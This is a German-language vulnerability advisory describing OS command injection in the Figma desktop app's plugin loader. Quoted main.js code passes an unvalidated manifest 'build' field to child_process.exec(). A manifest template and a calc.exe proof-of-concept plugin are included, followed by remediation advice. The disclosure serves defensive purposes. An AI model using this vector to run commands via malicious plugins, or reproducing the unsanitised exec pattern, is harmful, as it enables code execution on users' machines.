
OS Command Injection-Schwachstelle durch Plugin-Ausführung in der Figma Desktop-Anwendung
Die Figma-Desktop-Anwendung (v125.6.5) enthält eine Befehlsinjektionsschwachstelle im Plugin-Loader.
Ein bösartiges Plugin-Manifest (manifest.json) kann das Feld build missbrauchen, das ohne Validierung direkt an übergeben wird.
Dadurch wird ein beliebiger OS-Befehl sofort beim Laden des Plugins ausgeführt – ohne Sicherheitswarnungen oder Rückfragen.
child_process.exec()Die Schwachstelle beruht auf Code in main.js, der das integrierte child_process-Modul von Node.js importiert:
Zlt = require("child_process")
Wenn das Feld build in einer Plugin-manifest.json-Datei vorhanden ist und sein Wert ein String ist, führt die Anwendung den Wert direkt mit child_process.exec() ohne jegliche Bereinigung oder Validierung aus:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
Daher würde die folgende manifest.json-Datei in einem bösartigen Plugin dazu führen, dass der Wert des build-Felds als OS-Befehl ausgeführt wird:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Dieser Ausführungsablauf ist in Figmas Plugin-Verarbeitungslogik eingebettet, und die Einbindung des require("child_process")-Aufrufs in main.js bestätigt, dass die Befehlsausführung direkt in die Kernlogik der Anwendung integriert ist.
Durch die Ausführung eines Plugins, das die folgende schädliche manifest.json enthält:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Sobald dieses Plugin in Figma registriert und ausgeführt wird, wird der angegebene OS-Befehl (calc.exe) sofort ausgeführt.
Obwohl die Ausführung des build-Felds eine offiziell unterstützte Funktion der Figma-Desktop-Anwendung ist, sollte die Anwendung nach Möglichkeit vermeiden, sich auf benutzergesteuerte Felder in manifest.json wie build zu verlassen.
Falls solche Felder unterstützt werden müssen, müssen sie einer strengen Eingabevalidierung unterzogen werden, um eine Befehlsinjektion zu verhindern.
Darüber hinaus sollte die Verwendung von Node.js child_process.exec() vermieden werden; stattdessen sollten sicherere Alternativen mit expliziter Argumentbehandlung eingesetzt werden.